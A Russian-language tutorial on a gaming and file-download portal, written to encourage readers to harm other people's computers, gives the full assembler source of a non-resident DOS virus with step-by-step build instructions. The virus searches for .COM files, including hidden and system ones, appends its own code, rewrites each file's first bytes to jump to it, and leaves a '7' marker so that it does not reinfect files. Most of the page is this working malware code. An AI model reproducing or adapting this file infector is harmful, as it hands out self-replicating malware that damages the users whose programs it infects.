EnterGame - Игровой портал. На сайте присутствуют игры различных жанров, и другие файлы тематик, таких как: uCoz, DLE, Adobe product, Soft, Films, и Другое. Мы рады видеть Вас на нашем ресурсе. Добро пожаловать к нам на сайт |
На сайте строго запрещены внешние ссылки рекламного характера. Так же запрещён флуд в любом проявлении, спам и мат. Правила простые, если не хотите быть забаненным примите их и не нарушайте. Более подробно с правилами Вы можете ознакомиться перейдя на форум
|
|
Любой человек, конечно, не каждый, знающий слово программирование, как включать и выключать комп (компьютер) и ещё кое-что, хочет сделать какую-нибудь гадость человеку сидящему за компоп, ну естественно на программном уровне. Если и ты хочешь
это сделать, то читай дальше, иначе… отбрось, удали и разорви (если ты читаешь с бумаги). Итак, если ты продолжаешь читать, то я задам тебе следующий вопрос: Какую гадость ты собираешься сделать ? Это зависит исключительно от тебя. Как известно вирусы бывают разные – резидентные и нерезидентные. Скажу только, что резидентными называются вирусы, которые после своего завершения остаются в памяти и активизируются при наступлении каких - либо событий в вычислительной системе. Такими событиями могут быть, например, нажатие " горячей " комбинации клавиш, выполнение некоторых операций с дисками и т. п. Но в любом случае программа получает управление при тех или иных условиях. Наверняка тебе сразу захотелось написать этого зверя. Увы чтоб написать такой вирус потребуется как минимум 10-20 страниц кода. Забегу в перёд и скажу, что мы будем писать нерезидентный вирус. Как ты думаешь на каком языке мы будем писать вирус? Никакая Делфия нас сейчас не спасёт, потому что только одна заготовка будет весить примерно от 100 до 300 килограмм (килобайт). А для вируса – то надо всего пару килограмм. И придёт к нам тогда великий и могучий ASSEMBLER. Вот на нём та мы и будим писать вирусяку. Для тех кто не знает слово Assembler кратко расскажу, что в нём команды представлены символическими инструкциями, а так же самый маленький вес и самая большая скорость прогы написанной на нём вам обеспеченны и вообще учите этот язык он вам везде пригодится и в программирований и в кракерстве. Для написания тебе понадобится DOS'овская версия Assembler'а, его могут звать так: MASM либо TASM. Они могу весить примерно 7-8 метров (мегабайт). Начнём: создай в папке, куда был установлен Assembler, текстовой файл с расширением ASM, например Prog.asm. Потом закинь туда текст с кодом вируса. Перезагрузись в DOS ассемблируй. Как ассемблировать и прочее, рассказывается ниже. Далее приведен исходняк вирусяки. prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h start: jmp vir ;Передача управ- ;ления вирусному ;коду ... org 110h vir: push ds ;Сохраним DS ... ;Корректируем mov ax,ds ;регистр DS ... db 05h ;Код команды add_to_ds: dw 0 ; " ADD AX,00h " mov ds,ax ;AX -> DS ... fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA ;байт и перено- mov ds:[si],al ;сим его в мас- ;сив ... inc bx ;К новому байту inc si ; loop save_dta ;Цикл 128 раз find_first: mov ah,4eh ;Поиск первого ;файла ... mov cx,00100110b ;archive, system ;hidden lea dx,maska ;Маска для поис- ;ка int 21h jnc r_3 ;Нашли ! jmp restore_dta ;Ошибка ! find_next: mov ah,3eh ;Закроем непод- int 21h ;ходящий файл... jnc r_2 jmp restore_dta ;Файл нельзя за- ;крыть ! r_2: mov ah,4fh ;И найдем сле- int 21h ;дующий ... jnc r_3 ;Файл найден ! jmp restore_dta ;Ошибка ! r_3: mov cx,12 ;Сотрем в буфере lea si,fn ;"fn" имя пред- destroy_name: ;ыдущего файла mov byte ptr [si],0 ; inc si ; loop destroy_name ;Цикл 12 раз ... xor si,si ;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh] ;фер имя только cmp al,0 ;что найденного ;файла ... je open ;В конце имени в mov byte ptr ds:fn[si],al ;DTA всегда сто- inc si ;ит ноль, его мы jmp copy_name ;и хотим достичь open: mov ax,3d02h ;Открыть файл ;для чтения и ;записи ... lea dx,fn ;Имя файла ... int 21h ;Функция DOS jnc save_bytes jmp restore_dta ;Файл не откры- ;вается ! save_bytes: ;Считаем три ;байта : mov bx,ax ;Сохраним дес- ;криптор в BX mov ah,3fh ;Номер функции mov cx,3 ;Сколько байт ? lea dx,old_bytes ;Буфер для счи- ;тываемых данных int 21h jnc found_size jmp close ;Ошибка ! found_size: mov ax,cs:[09ah] ;Найдем размер ;файла count_size:mov si,ax cmp ax,64000 ;Файл длиннее ;64000 байт ? jna toto ;Нет ... jmp find_next ;Да - тогда он ;нам не подходит toto: test ax,000fh ;Округлим размер jz krat_16 ;до целого числа or ax,000fh ;параграфов в inc ax ;большую сторону krat_16: mov di,ax ;И запишем ок- ;ругленное зна- ;чение в DI ... ;Расчитаем сме- ;щение для пере- ;хода на код ви- ;руса ... sub ax,3 ;Сама команда ;перехода зани- ;мает три байта! mov byte ptr new_bytes[1],al ;Смещение найде- mov byte ptr new_bytes[2],ah ;но ! mov ax,di ;Сколько пара- mov cl,4 ;графов содержит shr ax,cl ;заражаемая про- ;грамма ? dec ax ;Учитываем дейс- ;твие директивы ;ORG 110h ... mov byte ptr add_to_ds,al ;Корректирующее mov byte ptr add_to_ds+1,ah ;число найдено ! mov ax,4200h ;Установим ука- xor cx,cx ;затель на пос- dec si ;ледний байт mov dx,si ;файла ... int 21h jnc read_last jmp close ;Ошибка ! read_last: ;И считаем этот mov ah,3fh ;байт в ячейку mov cx,1 ; " last " ... lea dx,last int 21h jc close ;Ошибка ! cmp last,'7' ;" last " =" 7 " jne write_vir ;Нет - дальше jmp find_next ;Да- поищем дру- ;гой файл ... write_vir: mov ax,4200h ;Установим ука- xor cx,cx ;затель на конец mov dx,di ;файла ... int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,vir_len ;код вируса дли- lea dx,vir ;ной vir_len int 21h jc close ;При ошибке - ;закроем файл write_bytes: mov ax,4200h ;Установим ука- xor cx,cx ;затель на нача- xor dx,dx ;ло файла int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,3 ;первые три бай- lea dx,new_bytes ;та ( команду int 21h ;перехода ) ... close: mov ah,3eh ;Закроем зара- int 21h ;женный файл ... restore_dta: mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива dta_fresh: mov al,ds:[si] ;Читаем из мас- ;сива "old_dta" mov byte ptr cs:[bx],al;байт и перено- ;сим его в DTA inc bx ;К новому байту inc si ; loop dta_fresh ;Цикл 128 раз pop ds ;Восстановим ;испорченный DS push cs ;Занесем в стек ;регистр CS db 0b8h ;Код команды jump: dw 100h ;mov ax,100h push ax ;Занесем в стек ;число 100h retf ;Передача управ- ;ления на задан- ;ный адрес ... ;*Data area ... old_bytes db 0e9h ;Исходные три ;байта заражен- dw vir_len + 0dh ;ной программы old_dta db 128 dup (0) ;Здесь вирус ;хранит исходную ;DTA программы maska db '*.com',0 ;Маска для поис- ;ка файлов ... fn db 12 dup (' '),0 ;Сюда помещается ;имя файла -жер- ;твы ... new_bytes db 0e9h ;Первые три бай- db 00h ;та вируса в db 00h ;файле ... last db 0 ;Ячейка для пос- ;леднего байта db '7' ;Последний байт ;вируса в файле vir_len equ $-vir ;Длина вирусного ;кода ... prg_end: mov ah,4ch ;Завершение за- INT 21H ;пускающей прог- ;раммы ... db '7' ;Без этого сим- ;вола вирус за- ;разил бы сам ;себя ... prg ends ;Все ASM - прог- end start ;раммы заканчи- ;ваются примерно ;так . Примечания: данный вирус будет заражать файлы с расширением COM. Зараженная программа будет весить на 15-20 байт больше. Сам вирус весит 482 байта. Как ассемблировать: · Если ты используешь Macro Assembler версии 5.00 – 5.10 (MASM 5.00 – 5.10): В командной строке необходимо указать следующее: > MASM.EXE PROG.ASM /AT В результате создается файл PROG.OBJ, который нужно скомпилировать при помощи компоновщика link.exe: > LINK.EXE PROG.OBJ /t Компоновщик создаст PROG.COM, который и запускаете на выполнение. Если ты используешь Macro Assembler версии 6.11 – 6.13· (MASM 6.11 – 6.13): В командной строке необходимо указать следующее: > ML.EXE PROG.ASM /AT В результате создается два файла: PROG.OBJ и PROG.COM. Prog.obj нам больше не понадобится, и его можно удалить, а prog.com запускаете на выполнение. Если ты используешь Turbo Assembler· (TASM): В командной строке необходимо указать следующее: > TASM.EXE PROG.ASM Если prog.asm не содержит ошибок, то в результате создается файл PROG.OBJ, который нужно скомпоновать при помощи компоновщика tlink.exe: > TLINK.EXE PROG.OBJ /t /x. Tlink.exe создаст файл prog.com, который и нужно запустить на выполнение. |
|
Шаблон полностью принадлежит администратору сайт, все права не нарушены. |